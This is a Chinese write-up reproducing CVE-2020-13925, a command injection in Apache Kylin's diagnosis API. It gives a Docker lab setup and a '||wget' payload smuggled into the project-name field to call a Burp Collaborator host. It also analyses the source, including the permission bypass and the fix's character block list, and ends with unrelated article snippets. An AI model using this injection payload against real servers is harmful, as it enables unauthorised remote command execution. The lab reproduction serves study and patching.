【漏洞复现】CVE-2020-13925

漏洞信息

NVD - CVE-2020-13925

Similar to CVE-2020-1956, Kylin has one more restful API which concatenates the API inputs into OS commands and then executes them on the server; while the reported API misses necessary input validation, which causes the hackers to have the possibility to execute OS command remotely. Users of all previous versions after 2.3 should upgrade to 3.1.0.

背景介绍

Kylin is a high concurrency, high performance and intelligent OLAP engine that provides low-cost and ultimate data analytics experience.

• 主页:https://kylin.apache.org/

• 源码:https://github.com/apache/kylin

环境搭建

$ docker pull apachekylin/apache-kylin-standalone:3.0.1
$ docker run -d \-m 8G \-p 7070:7070 \-p 8088:8088 \-p 50070:50070 \-p 8032:8032 \-p 8042:8042 \-p 16010:16010 \apachekylin/apache-kylin-standalone:3.0.1

Kylin Web UI: http://127.0.0.1:7070/kylin/login

默认账号:admin、默认密码:KYLIN

【环境搭建】Apache Kylin 各个版本Docker搭建汇总-CSDN博客

【环境搭建】使用Dockerfile构建容器搭建Kylin特定版本-CSDN博客

漏洞复现

参考:CVE-2020-13925、京东蓝军发现Apache Kylin 远程命令执行漏洞报告 CVE-2020-13925]

访问System–>Configuration–>Diagnosis,触发下载诊断信息事件:
在这里插入图片描述

Burp抓包:

在这里插入图片描述

修改请求,把项目名称learn_kylin替换为如下Payload:

# Payload
||wget y0z2laz6kry9r390kfcbn4izlqrhf6.burpcollaborator.net||
# Payload Atfer URL Encoding
%7c%7cwget%20y0z2laz6kry9r390kfcbn4izlqrhf6.burpcollaborator.net%7c%7c

xxx.burpcollaborator.net需要通过如下方法从你的Burp Collaborator获取,在Burp中按照如下步骤会直接复制到粘贴板:

在这里插入图片描述

再次发包,然后就可以在Burp的Collaborator Client里看到访问记录。

Burp Collaborator使用参考:Burp Collaborator-带外技术工具 - 知乎

漏洞分析

在kylin/server-base/src/main/java/org/apache/kylin/rest/controller/DiagnosisController.java中可以看到Sinks部分的代码,@PathVariable String project 表示从请求路径中获取的项目名称,没有做任何处理直接传入 dgServicedumpProjectDiagnosisInfo 方法:

在这里插入图片描述

dgServicedumpProjectDiagnosisInfo 方法位于kylin/server-base/src/main/java/org/apache/kylin/rest/service/DiagnosisService.java,如下所示:

在这里插入图片描述

checkProjectOperationPermission 方法的实现很简单,就是先找到project再确认权限:

具体是通过以下两个函数实现的,可以看到通过projectMap.get方法寻找这个project实际上就是字典匹配的过程:

private ProjectInstance getProjectInstance(String projectName) {return ProjectManager.getInstance(KylinConfig.getInstanceFromEnv()).getProject(projectName);
}
public ProjectInstance getProject(String projectName) {// Null check is needed for ConcurrentMap does not supporting .get(null)if (projectName == null)return null;try (AutoLock lock = prjMapLock.lockForRead()) {return projectMap.get(projectName);}
}

如果是不存在的project,那么就会返回NullaclUtil.hasProjectOperationPermission方法,但是这个方法这里设定了只要用户是 admin,或拥有 administration/management/operation 权限,就会返回true

@PreAuthorize(Constant.ACCESS_HAS_ROLE_ADMIN +" or hasPermission(#project, 'ADMINISTRATION')" +" or hasPermission(#project, 'MANAGEMENT')" +" or hasPermission(#project, 'OPERATION')")
public boolean hasProjectOperationPermission(ProjectInstance project) {return true;
}

所以经过修改的不存在的project绕过了验证,project参数最后和cmd命令进行拼接,构造了恶意执行语句。

实际上,这个漏洞不光存在于project接口,还有job接口也是同理,通过修改jobID也可以完成漏洞利用。

修复方案

过滤代码在src\main\java\org\apache\kylin\common\util\CliCommandExecutor.java中,采用了黑名单方式过滤:

	public static final String COMMAND_BLOCK_LIST = "[ &`>|{}()$;\\#~!+*\\\\]+";public static final String COMMAND_WHITE_LIST = "[^\\w%,@/:=?.\"\\[\\]]";public static final String HIVE_BLOCK_LIST = "[ <>()$;\\-#!+*\"'/=%@]+";/*** <pre>* Check parameter for preventing command injection, replace illegal character into empty character.** Note:* 1. Whitespace is also refused because parameter is a single word, should not contains it* 2. Some character may be illegal but still be accepted because commandParameter maybe a URI/path expression,*     you may check "Character part" in https://docs.oracle.com/javase/8/docs/api/java/net/URI.html,*     here is the character which is not banned.**     1. dot .*     2. slash /*     3. colon :*     4. equal =*     5. ?*     6. @*     7. bracket []*     8. comma ,*     9. %* </pre>*/public static String checkParameter(String commandParameter) {return checkParameter(commandParameter, COMMAND_BLOCK_LIST);}public static String checkParameterWhiteList(String commandParameter) {return checkParameter(commandParameter, COMMAND_WHITE_LIST);}public static String checkHiveProperty(String hiveProperty) {return checkParameter(hiveProperty, HIVE_BLOCK_LIST);}private static String checkParameter(String commandParameter, String rex) {String repaired = commandParameter.replaceAll(rex, "");if (repaired.length() != commandParameter.length()) {logger.warn("Detected illegal character in command {} by {} , replace it to {}.", commandParameter, rex, repaired);}return repaired;}

命令注入常用的连接符 || && 都被过滤了,这里也过滤了空格。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/web/60898.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Linux:文件管理(一)——文件描述符fd

目录 一、文件基础认识 二、C语言操作文件的接口 1.> 和 >> 2.理解“当前路径” 三、相关系统调用 1.open 2.文件描述符 3.一切皆文件 4.再次理解重定向 一、文件基础认识 文件 内容 属性。换句话说&#xff0c;如果在电脑上新建了一个空白文档&#xff0…

责任链模式在spring security过滤器链中的应用

责任链模式&#xff08;Chain of Responsibility Pattern&#xff09;是一种行为型设计模式&#xff0c;它允许多个对象按照顺序处理请求&#xff0c;并且每个对象可以选择自己是否处理该请求或将其传递给下一个对象。 在Spring Security中&#xff0c;责任链模式得到了广泛应…

mac上的建议xftp 工具

mac上的建议xftp 工具 最近使用mac比较频繁了&#xff0c;但是第一次重度使用mac里面有很多的工具都是新的&#xff0c;有的window版本的工具无法使用。 xftp 的平替 Cyberduck 从它的官网上下载是免费的&#xff0c;但是如果使用 Apple store 要花费198呢。这不就剩下一大笔…

异步编程中,为什么必须将conn放到后台连接

tokio::spawn(async move {if let Err(err) conn.await {let err_msg format!("Connection failed: {:?}", err);dbg!(err_msg);}});为什么不能是 if let Err(err) conn.await {let err_msg format!("Connection failed: {:?}", err);dbg!(err_msg);…

IC数字后端实现之大厂IC笔试真题(经典时序计算和时序分析题)

今天小编给大家分享下每年IC秋招春招必考题目——静态时序分析时序分析题。 数字IC后端笔试面试题库 | 经典时序Timing计算题 时序分析题1&#xff1a; 给定如下图所示的timing report&#xff0c;请回答一下几个问题。 1&#xff09;这是一条setup还是hold的timing report?…

警钟长鸣,防微杜渐,遨游防爆手机如何护航安全生产?

近年来&#xff0c;携非防爆手机进入危险作业区引发爆炸的新闻屡见报端。2019年山西某化工公司火灾&#xff0c;2018年延安某煤业瓦斯爆炸&#xff0c;均因工人未用防爆手机产生静电打火引发。涉爆行业领域企业量大面广&#xff0c;相当一部分企业作业场所人员密集&#xff0c;…

MySQL 与 MongoDB 存储差异分析

MySQL 与 MongoDB 存储差异分析&#xff1a;为什么随机生成数据的存储空间不同&#xff1f; 在实际应用中&#xff0c;我们常常需要选择合适的数据库系统来处理不同类型的数据。在这个过程中&#xff0c;数据库的 存储机制 和 性能优化 起着至关重要的作用。对于很多开发者来说…

nginx和netcore加载常见的3D模型

背景 数字孪生带火了3D版的Web世界&#xff0c;3D模型格式也是众多&#xff0c;常见的glb适合web传输&#xff0c;fbx&#xff0c;gltf&#xff0c;obj&#xff0c;unity等常用于模型编辑和处理。我们在用netcore或者wasm加载这些3D模型文件时&#xff0c;一般都需要手工增加M…

mac 安装node提示 nvm install v14.21.3 failed可能存在问题

如果你在 macOS 上使用 nvm&#xff08;Node Version Manager&#xff09;安装 Node.js 版本 v14.21.3 时遇到安装失败的问题&#xff0c;可以按照以下步骤进行排查和解决&#xff1a; 1. 确认 nvm 安装是否正确 首先&#xff0c;确认你的 nvm 是否正确安装&#xff0c;并且能…

Mongo数据库 --- Mongo Pipeline

Mongo数据库 --- Mongo Pipeline 什么是Mongo PipelineMongo Pipeline常用的几个StageExplanation with example:MongoDB $matchMongoDB $projectMongoDB $groupMongoDB $unwindMongoDB $countMongoDB $addFields Some Query Examples在C#中使用Aggreagtion Pipeline**方法一: …

银行卡 OCR 识别 API 接口的发展前景

随着智能手机的广泛普及以及互联网的迅猛发展&#xff0c;“互联网 ” 时代的移动支付已然开启了智慧生活的崭新蓝图。移动支付要求进行实名认证并绑定银行卡&#xff0c;然而传统的手工输入银行卡号不但速度缓慢、容易出错&#xff0c;还极大地降低了用户体验。银行卡 OCR 识别…

华为OD机试真题---智能驾驶

华为OD机试中的“智能驾驶”题目是一道涉及广度优先搜索&#xff08;BFS&#xff09;算法运用的题目。以下是对该题目的详细解析&#xff1a; 一、题目描述 有一辆汽车需要从m * n的地图的左上角&#xff08;起点&#xff09;开往地图的右下角&#xff08;终点&#xff09;&a…

Redis与MySQL如何保证数据一致性

Redis与MySQL如何保证数据一致性 简单来说 该场景主要发生在读写并发进行时&#xff0c;才会发生数据不一致。 主要流程就是要么先操作缓存&#xff0c;要么先操作Redis&#xff0c;操作也分修改和删除。 一般修改要执行一系列业务代码&#xff0c;所以一般直接删除成本较低…

Linux宝塔部署wordpress网站更换服务器IP后无法访问管理后台和打开网站页面显示错乱

一、背景&#xff1a; wordpress网站搬家&#xff0c;更换服务器IP后&#xff0c;如果没有域名时&#xff0c;使用服务器IP地址无法访问管理后台和打开网站页面显示错乱。 二、解决方法如下&#xff1a; 1.wordpress搬家后&#xff0c;在新服务器上&#xff0c;新建站点时&am…

探秘嵌入式位运算:基础与高级技巧

目录 一、位运算基础知识 1.1. 位运算符 1.1.1. 与运算&#xff08;&&#xff09; 1.1.2. 或运算&#xff08;|&#xff09; 1.1.3. 异或运算&#xff08;^&#xff09; 1.1.4. 取反运算&#xff08;~&#xff09; 1.1.5. 双重按位取反运算符&#xff08;~~&#xf…

MySQL底层概述—3.InnoDB线程模型

大纲 1.InnoDB的线程模型 2.IO Thread 3.Purge Thread 4.Page Cleaner Thread 5.Master Thread 1.InnoDB的线程模型 InnoDB存储引擎是多线程的模型&#xff0c;因此其后台有多个不同的后台线程&#xff0c;负责处理不同的任务。 后台线程的作用一&#xff1a;负责刷新内存…

充满智慧的埃塞俄比亚狼

非洲的青山 随着地球温度上升&#xff0c;贝尔山顶峰的冰川消失殆尽&#xff0c;许多野生动物移居到海拔3000米以上的高原上生活&#xff0c;其中就包括埃塞俄比亚狼。埃塞俄比亚狼是埃塞俄比亚特有的动物&#xff0c;总数不到500只&#xff0c;为“濒危”物种。 埃塞俄比亚狼…

pikachu平台xss漏洞详解

声明&#xff1a;文章只是起演示作用&#xff0c;所有涉及的网站和内容&#xff0c;仅供大家学习交流&#xff0c;如有任何违法行为&#xff0c;均和本人无关&#xff0c;切勿触碰法律底线 文章目录 概述&#xff1a;什么是xss一、反射型XSS1. get2. post 二、存储型XSS三、DOM…

Easyexcel(7-自定义样式)

相关文章链接 Easyexcel&#xff08;1-注解使用&#xff09;Easyexcel&#xff08;2-文件读取&#xff09;Easyexcel&#xff08;3-文件导出&#xff09;Easyexcel&#xff08;4-模板文件&#xff09;Easyexcel&#xff08;5-自定义列宽&#xff09;Easyexcel&#xff08;6-单…

FFN层,全称为Feed-Forward Network层;Layer Normalization;Softmax;

目录 FFN层,全称为Feed-Forward Network层 Layer Normalization 操作步骤 归一化和Softmax 归一化解决量纲问题 归一化(Normalization) Softmax FFN层,全称为Feed-Forward Network层 是Transformer架构中的一个关键组件。它本质上是一个简单的多层感知机(MLP),用…